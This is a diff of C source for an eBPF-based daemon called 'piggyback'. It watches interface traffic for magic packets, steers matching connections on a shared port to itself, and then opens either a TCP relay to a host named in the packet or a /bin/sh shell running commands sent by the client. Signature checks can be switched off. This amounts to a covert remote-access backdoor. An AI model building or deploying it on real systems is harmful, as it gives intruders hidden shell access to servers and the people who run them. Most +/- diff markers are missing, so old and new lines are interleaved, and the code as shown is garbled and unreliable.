#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)
// ── Interface helpers ─────────────────────────────────────────────────────────
static int get_default_iface(char *buf, size_t len) {
FILE *f = fopen("/proc/net/route", "r");
@ -99,8 +103,7 @@ static int get_default_iface(char *buf, size_t len) {
char line[256];
fgets(line, sizeof(line), f); // skip header
while (fgets(line, sizeof(line), f)) {
char iface[64];
unsigned int dest;
char iface[64]; unsigned int dest;
if (sscanf(line, "%63s %x", iface, &dest) == 2 && dest == 0) {
strncpy(buf, iface, len-1);
fclose(f);
@ -111,20 +114,23 @@ static int get_default_iface(char *buf, size_t len) {
return -1;
}
// ── Logging ───────────────────────────────────────────────────────────────────
#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)
static int get_iface_ipv4(const char *iface, uint8_t *ip4) {
struct ifaddrs *ifa_list, *ifa;
if (getifaddrs(&ifa_list) != 0) return -1;
for (ifa = ifa_list; ifa; ifa = ifa->ifa_next) {
if (!ifa->ifa_addr || ifa->ifa_addr->sa_family != AF_INET) continue;
if (strcmp(ifa->ifa_name, iface) != 0) continue;
memcpy(ip4, &((struct sockaddr_in *)ifa->ifa_addr)->sin_addr, 4);
freeifaddrs(ifa_list);
return 0;
}
freeifaddrs(ifa_list);
return -1;
}
// ── Replay ring ───────────────────────────────────────────────────────────────
struct replay_entry {
uint32_t src_ip;
uint64_t timestamp;
uint8_t sig_prefix[8];
};
struct replay_entry { uint32_t src_ip; uint64_t ts; uint8_t sig_prefix[8]; };
static struct replay_entry replay_ring[REPLAY_RING_SIZE];
static int replay_head = 0;
static pthread_mutex_t replay_lock = PTHREAD_MUTEX_INITIALIZER;
@ -133,17 +139,13 @@ static int replay_check_and_insert(uint32_t src_ip, uint64_t ts, const uint8_t *
pthread_mutex_lock(&replay_lock);
for (int i = 0; i < REPLAY_RING_SIZE; i++) {
struct replay_entry *e = &replay_ring[i];
if (e->src_ip == src_ip && e->timestamp == ts &&
memcmp(e->sig_prefix, sig, 8) == 0) {
if (e->src_ip == src_ip && e->ts == ts && memcmp(e->sig_prefix, sig, 8) == 0) {
pthread_mutex_unlock(&replay_lock);
return -1;
}
}
struct replay_entry *slot = &replay_ring[replay_head % REPLAY_RING_SIZE];
slot->src_ip = src_ip;
slot->timestamp = ts;
memcpy(slot->sig_prefix, sig, 8);
replay_head++;
struct replay_entry *s = &replay_ring[replay_head++ % REPLAY_RING_SIZE];
s->src_ip = src_ip; s->ts = ts; memcpy(s->sig_prefix, sig, 8);
pthread_mutex_unlock(&replay_lock);
return 0;
}
@ -153,27 +155,19 @@ static int replay_check_and_insert(uint32_t src_ip, uint64_t ts, const uint8_t *
static void splice_loop(int a, int b) {
int epfd = epoll_create1(0);
if (epfd < 0) return;
struct epoll_event ev, evs[2];
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
ev.data.fd = a; epoll_ctl(epfd, EPOLL_CTL_ADD, a, &ev);
ev.data.fd = b; epoll_ctl(epfd, EPOLL_CTL_ADD, b, &ev);
char buf[65536];
while (running) {
int n = epoll_wait(epfd, evs, 2, 1000);
for (int i = 0; i < n; i++) {
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
int src = evs[i].data.fd;
int dst = (src == a) ? b : a;
int src = evs[i].data.fd, dst = (src == a) ? b : a;
ssize_t r = read(src, buf, sizeof(buf));
if (r <= 0) goto done;
ssize_t w = 0;
while (w < r) {
ssize_t s = write(dst, buf + w, r - w);
if (s <= 0) goto done;
w += s;
}
for (ssize_t w = 0; w < r;) { ssize_t s = write(dst, buf+w, r-w); if (s<=0) goto done; w+=s; }
}
}
done:
@ -187,23 +181,16 @@ static void do_forward(int client_fd, const char *host, int port) {
struct addrinfo *res;
char port_str[8];
snprintf(port_str, sizeof(port_str), "%d", port);
if (getaddrinfo(host, port_str, &hints, &res) != 0) {
log_err("getaddrinfo(%s:%d) failed", host, port);
return;
log_err("getaddrinfo(%s:%d) failed", host, port); return;
}
int fwd_fd = socket(res->ai_family, SOCK_STREAM, 0);
if (fwd_fd < 0) { freeaddrinfo(res); return; }
if (connect(fwd_fd, res->ai_addr, res->ai_addrlen) < 0) {
log_err("connect to %s:%d: %s", host, port, strerror(errno));
close(fwd_fd);
freeaddrinfo(res);
return;
log_err("connect %s:%d: %s", host, port, strerror(errno));
close(fwd_fd); freeaddrinfo(res); return;
}
freeaddrinfo(res);
log_dbg("forwarding to %s:%d", host, port);
splice_loop(client_fd, fwd_fd);
close(fwd_fd);
@ -214,55 +201,38 @@ static void do_forward(int client_fd, const char *host, int port) {
static void do_shell(int client_fd, const char *cmd) {
int in_pipe[2], out_pipe[2];
if (pipe(in_pipe) < 0 || pipe(out_pipe) < 0) return;
pid_t pid = fork();
if (pid < 0) return;
if (pid == 0) {
close(in_pipe[1]);
close(out_pipe[0]);
dup2(in_pipe[0], STDIN_FILENO);
dup2(out_pipe[1], STDOUT_FILENO);
dup2(out_pipe[1], STDERR_FILENO);
close(in_pipe[0]);
close(out_pipe[1]);
close(in_pipe[1]); close(out_pipe[0]);
dup2(in_pipe[0], STDIN_FILENO); dup2(out_pipe[1], STDOUT_FILENO); dup2(out_pipe[1], STDERR_FILENO);
close(in_pipe[0]); close(out_pipe[1]);
execl("/bin/sh", "/bin/sh", "-c", cmd, NULL);
_exit(1);
}
close(in_pipe[0]);
close(out_pipe[1]);
close(in_pipe[0]); close(out_pipe[1]);
fcntl(in_pipe[1], F_SETFL, O_NONBLOCK);
fcntl(out_pipe[0], F_SETFL, O_NONBLOCK);
fcntl(client_fd, F_SETFL, O_NONBLOCK);
int epfd = epoll_create1(0);
struct epoll_event ev, evs[2];
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
ev.data.fd = client_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, client_fd, &ev);
ev.data.fd = out_pipe[0]; epoll_ctl(epfd, EPOLL_CTL_ADD, out_pipe[0], &ev);
char buf[65536];
while (running) {
int n = epoll_wait(epfd, evs, 2, 1000);
for (int i = 0; i < n; i++) {
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto shell_done;
int fd = evs[i].data.fd;
if (fd == out_pipe[0]) {
ssize_t r = read(out_pipe[0], buf, sizeof(buf));
if (r <= 0) goto shell_done;
write(client_fd, buf, r);
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
if (evs[i].data.fd == out_pipe[0]) {
ssize_t r = read(out_pipe[0], buf, sizeof(buf)); if (r<=0) goto done; write(client_fd, buf, r);
} else {
ssize_t r = read(client_fd, buf, sizeof(buf));
if (r <= 0) goto shell_done;
write(in_pipe[1], buf, r);
ssize_t r = read(client_fd, buf, sizeof(buf)); if (r<=0) goto done; write(in_pipe[1], buf, r);
}
}
}
shell_done:
close(epfd);
close(in_pipe[1]);
close(out_pipe[0]);
done:
close(epfd); close(in_pipe[1]); close(out_pipe[0]);
}
// ── Dispatch thread ───────────────────────────────────────────────────────────
@ -276,99 +246,77 @@ struct dispatch_args {
static void *dispatch_thread(void *arg) {
struct dispatch_args *a = arg;
int client_fd = a->client_fd;
uint8_t action = ACTION_FORWARD;
char fwd_host[64];
int fwd_port;
strncpy(fwd_host, FWD_HOST, sizeof(fwd_host)-1);
fwd_port = FWD_PORT;
if (AUTH_ENABLED && a->header_valid) {
uint8_t *hdr = a->header;
if (!a->header_valid) {
log_err("packet too short for header, rejecting");
goto reject;
}
// ── Auth (skip when AUTH_ENABLED=0) ───────────────────────────────────────
if (AUTH_ENABLED) {
uint64_t ts = 0;
for (int i = 0; i < 8; i++) ts = (ts << 8) | hdr[HDR_TIMESTAMP_OFF + i];
uint64_t now = (uint64_t)time(NULL);
if (ts > now + TIMESTAMP_WINDOW || ts < now - TIMESTAMP_WINDOW) {
log_err("timestamp out of window, rejecting");
goto reject;
log_err("timestamp out of window, rejecting"); goto reject;
}
uint8_t msg[HDR_MSG_LEN];
memcpy(msg, hdr, 16);
memcpy(msg + 16, server_ip_bytes, 4);
if (crypto_sign_ed25519_verify_detached(
hdr + HDR_SIG_OFF, msg, HDR_MSG_LEN, trusted_pubkey) != 0) {
log_err("Ed25519 signature invalid, rejecting");
goto reject;
memcpy(msg, hdr, 16); memcpy(msg + 16, server_ip_bytes, 4);
if (crypto_sign_ed25519_verify_detached(hdr + HDR_SIG_OFF, msg, HDR_MSG_LEN, trusted_pubkey) != 0) {
log_err("invalid signature, rejecting"); goto reject;
}
uint32_t ip32; memcpy(&ip32, server_ip_bytes, 4);
if (replay_check_and_insert(ip32, ts, hdr + HDR_SIG_OFF) != 0) {
log_err("replay detected, rejecting"); goto reject;
}
log_dbg("auth OK");
}
uint32_t src_ip32;
memcpy(&src_ip32, server_ip_bytes, 4);
if (replay_check_and_insert(src_ip32, ts, hdr + HDR_SIG_OFF) != 0) {
log_err("replay detected, rejecting");
goto reject;
}
// ── Dispatch — action and target always come from the header ──────────────
{
uint8_t action = hdr[HDR_ACTION_OFF];
action = hdr[HDR_ACTION_OFF];
if (action == ACTION_FORWARD) {
char fwd_host[32] = "127.0.0.1";
int fwd_port = 22;
uint8_t *ip = hdr + HDR_TARGET_IP_OFF;
snprintf(fwd_host, sizeof(fwd_host), "%d.%d.%d.%d",
ip[0], ip[1], ip[2], ip[3]);
fwd_port = (hdr[HDR_TARGET_PORT_OFF] << 8) | hdr[HDR_TARGET_PORT_OFF + 1];
}
log_dbg("auth OK: action=0x%02x", action);
} else if (AUTH_ENABLED && !a->header_valid) {
log_err("auth required but no valid header, rejecting");
goto reject;
}
if (action == ACTION_FORWARD) {
if (ip[0] || ip[1] || ip[2] || ip[3])
snprintf(fwd_host, sizeof(fwd_host), "%d.%d.%d.%d", ip[0], ip[1], ip[2], ip[3]);
int p = ((uint16_t)hdr[HDR_TARGET_PORT_OFF] << 8) | hdr[HDR_TARGET_PORT_OFF + 1];
if (p) fwd_port = p;
log_info("forward → %s:%d", fwd_host, fwd_port);
do_forward(client_fd, fwd_host, fwd_port);
} else if (action == ACTION_SHELL) {
char cmd[1024] = "bash";
ssize_t r = read(client_fd, cmd, sizeof(cmd)-1);
if (r > 0) cmd[r] = '\0';
log_info("shell: %s", cmd);
do_shell(client_fd, cmd);
} else {
log_err("unknown action 0x%02x, rejecting", action);
}
}
close(client_fd);
free(a);
return NULL;
close(client_fd); free(a); return NULL;
reject:
close(client_fd);
free(a);
return NULL;
close(client_fd); free(a); return NULL;
}
// ── Ring buffer event handler ─────────────────────────────────────────────────
static int handle_event(void *ctx __attribute__((unused)), void *data, size_t sz __attribute__((unused))) {
struct event *e = data;
char src_str[INET6_ADDRSTRLEN];
if (e->is_ipv6)
inet_ntop(AF_INET6, e->src_ip, src_str, sizeof(src_str));
else
inet_ntop(AF_INET, e->src_ip, src_str, sizeof(src_str));
if (e->is_ipv6) inet_ntop(AF_INET6, e->src_ip, src_str, sizeof(src_str));
else inet_ntop(AF_INET, e->src_ip, src_str, sizeof(src_str));
log_info("magic from %s:%d (header_valid=%d)", src_str, ntohs(e->src_port), e->header_valid);
log_info("magic from %s:%d (flags=0x%02x header_valid=%d)",
src_str, ntohs(e->src_port), e->flags, e->header_valid);
struct sockaddr_storage peer;
socklen_t plen = sizeof(peer);
struct sockaddr_storage peer; socklen_t plen = sizeof(peer);
int client_fd = accept(accept_fd, (struct sockaddr *)&peer, &plen);
if (client_fd < 0) {
log_err("accept: %s", strerror(errno));
return 0;
}
if (client_fd < 0) { log_err("accept: %s", strerror(errno)); return 0; }
struct dispatch_args *a = malloc(sizeof(*a));
if (!a) { close(client_fd); return 0; }
@ -382,47 +330,29 @@ static int handle_event(void *ctx __attribute__((unused)), void *data, size_t sz
return 0;
}
// ── TC attachment ─────────────────────────────────────────────────────────────
// ── TC / sk_lookup attachment ─────────────────────────────────────────────────
static int attach_tc(struct bpf_program *prog) {
DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook,
.ifindex = ifindex,
.attach_point = BPF_TC_INGRESS,
);
DECLARE_LIBBPF_OPTS(bpf_tc_opts, opts,
.handle = 1,
.priority = 1,
.prog_fd = bpf_program__fd(prog),
);
DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook, .ifindex = ifindex, .attach_point = BPF_TC_INGRESS);
DECLARE_LIBBPF_OPTS(bpf_tc_opts, opts, .handle = 1, .priority = 1, .prog_fd = bpf_program__fd(prog));
bpf_tc_hook_create(&hook);
if (bpf_tc_attach(&hook, &opts) < 0) {
log_err("bpf_tc_attach: %s", strerror(errno));
return -1;
}
if (bpf_tc_attach(&hook, &opts) < 0) { log_err("bpf_tc_attach: %s", strerror(errno)); return -1; }
log_info("TC attached to %s ingress", iface_name);
return 0;
}
static void detach_tc(void) {
DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook,
.ifindex = ifindex,
.attach_point = BPF_TC_INGRESS,
);
DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook, .ifindex = ifindex, .attach_point = BPF_TC_INGRESS);
bpf_tc_hook_destroy(&hook);
log_info("TC detached");
}
// ── sk_lookup attachment ──────────────────────────────────────────────────────
static int sklookup_link_fd = -1;
static int attach_sklookup(struct bpf_program *prog) {
int netns_fd = open("/proc/self/ns/net", O_RDONLY);
if (netns_fd < 0) { log_err("open netns: %s", strerror(errno)); return -1; }
struct bpf_link *link = bpf_program__attach_netns(prog, netns_fd);
close(netns_fd);
if (!link) { log_err("attach sk_lookup: %s", strerror(errno)); return -1; }
sklookup_link_fd = bpf_link__fd(link);
log_info("sk_lookup attached to netns");
return 0;
}
@ -430,17 +360,15 @@ static int attach_sklookup(struct bpf_program *prog) {
// ── Stats ─────────────────────────────────────────────────────────────────────
static void dump_stats(void) {
int map_fd = bpf_object__find_map_fd_by_name(obj, "stats");
if (map_fd < 0) return;
int fd = bpf_object__find_map_fd_by_name(obj, "stats");
if (fd < 0) return;
uint64_t v; uint32_t k;
k=0; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" total : %" PRIu64, v);
k=1; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" magic : %" PRIu64, v);
k=2; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" passed : %" PRIu64, v);
k=3; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" partial : %" PRIu64, v);
k=0; bpf_map_lookup_elem(fd,&k,&v); log_info(" total : %" PRIu64, v);
k=1; bpf_map_lookup_elem(fd,&k,&v); log_info(" magic : %" PRIu64, v);
k=2; bpf_map_lookup_elem(fd,&k,&v); log_info(" passed : %" PRIu64, v);
k=3; bpf_map_lookup_elem(fd,&k,&v); log_info(" partial : %" PRIu64, v);
}
// ── Signal ────────────────────────────────────────────────────────────────────
static void on_signal(int sig __attribute__((unused))) { running = 0; }
// ── Main ──────────────────────────────────────────────────────────────────────
@ -448,66 +376,56 @@ static void on_signal(int sig __attribute__((unused))) { running = 0; }
int main(void) {
if (sodium_init() < 0) { log_err("libsodium init failed"); return 1; }
inet_pton(AF_INET, SERVER_IP, server_ip_bytes);
signal(SIGINT, on_signal);
signal(SIGTERM, on_signal);
signal(SIGPIPE, SIG_IGN);
signal(SIGINT, on_signal); signal(SIGTERM, on_signal); signal(SIGPIPE, SIG_IGN);
// Resolve interface
if (strlen(IFACE) > 0) {
strncpy(iface_name, IFACE, sizeof(iface_name)-1);
} else {
if (get_default_iface(iface_name, sizeof(iface_name)) != 0) {
log_err("could not detect default interface — set IFACE in source");
return 1;
log_err("cannot detect default interface — set IFACE in source"); return 1;
}
log_info("auto-detected interface: %s", iface_name);
}
ifindex = if_nametoindex(iface_name);
if (!ifindex) { log_err("interface '%s' not found", iface_name); return 1; }
if (AUTH_ENABLED)
log_info("Ed25519 auth enabled");
else
log_info("WARNING: AUTH_ENABLED=0 — accepting without signature check");
// Get own IP for replay-prevention signature coverage
if (get_iface_ipv4(iface_name, server_ip_bytes) != 0) {
log_dbg("could not get interface IP — replay sig will use zeros");
} else {
char ipstr[INET_ADDRSTRLEN];
inet_ntop(AF_INET, server_ip_bytes, ipstr, sizeof(ipstr));
log_dbg("server IP for sig: %s", ipstr);
}
// ── SO_REUSEPORT accept socket ────────────────────────────────────────────
if (AUTH_ENABLED) log_info("Ed25519 auth enabled");
else log_info("WARNING: AUTH_ENABLED=0 — no signature verification");
// SO_REUSEPORT accept socket
accept_fd = socket(AF_INET6, SOCK_STREAM, 0);
if (accept_fd < 0) accept_fd = socket(AF_INET, SOCK_STREAM, 0);
if (accept_fd < 0) { log_err("socket: %s", strerror(errno)); return 1; }
int yes = 1;
setsockopt(accept_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
setsockopt(accept_fd, SOL_SOCKET, SO_REUSEPORT, &yes, sizeof(yes));
struct sockaddr_in6 laddr = {
.sin6_family = AF_INET6,
.sin6_port = htons(LISTEN_PORT),
.sin6_addr = IN6ADDR_ANY_INIT,
};
struct sockaddr_in6 laddr = { .sin6_family = AF_INET6, .sin6_port = htons(LISTEN_PORT), .sin6_addr = IN6ADDR_ANY_INIT };
if (bind(accept_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
struct sockaddr_in la4 = {
.sin_family = AF_INET,
.sin_port = htons(LISTEN_PORT),
.sin_addr.s_addr = INADDR_ANY,
};
struct sockaddr_in la4 = { .sin_family = AF_INET, .sin_port = htons(LISTEN_PORT), .sin_addr.s_addr = INADDR_ANY };
if (bind(accept_fd, (struct sockaddr *)&la4, sizeof(la4)) < 0) {
log_err("bind port %d: %s", LISTEN_PORT, strerror(errno));
return 1;
log_err("bind port %d: %s", LISTEN_PORT, strerror(errno)); return 1;
}
}
if (listen(accept_fd, 64) < 0) { log_err("listen: %s", strerror(errno)); return 1; }
// ── Load eBPF ─────────────────────────────────────────────────────────────
// Load eBPF
obj = bpf_object__open("piggyback.bpf.o");
if (!obj) { log_err("bpf_object__open failed"); return 1; }
if (bpf_object__load(obj)) { log_err("bpf_object__load failed"); return 1; }
int sock_map_fd = bpf_object__find_map_fd_by_name(obj, "daemon_sock");
if (sock_map_fd >= 0) {
uint32_t key = 0;
uint32_t val = (uint32_t)accept_fd;
uint32_t key = 0, val = (uint32_t)accept_fd;
bpf_map_update_elem(sock_map_fd, &key, &val, BPF_ANY);
}
@ -517,17 +435,15 @@ int main(void) {
struct bpf_program *sk_prog = bpf_object__find_program_by_name(obj, "piggyback_lookup");
if (sk_prog && attach_sklookup(sk_prog) < 0)
log_info("sk_lookup attach failed — SYN-level steering disabled");
log_info("sk_lookup attach failed — SYN steering disabled, falling back");
int rb_fd = bpf_object__find_map_fd_by_name(obj, "events");
struct ring_buffer *rb = ring_buffer__new(rb_fd, handle_event, NULL, NULL);
if (!rb) { log_err("ring_buffer__new failed"); return 1; }
log_info("piggyback running on %s port %d → %s:%d",
iface_name, LISTEN_PORT, FWD_HOST, FWD_PORT);
log_info("running on %s port %d", iface_name, LISTEN_PORT);
while (running)
ring_buffer__poll(rb, 100);
while (running) ring_buffer__poll(rb, 100);
log_info("shutting down...");
dump_stats();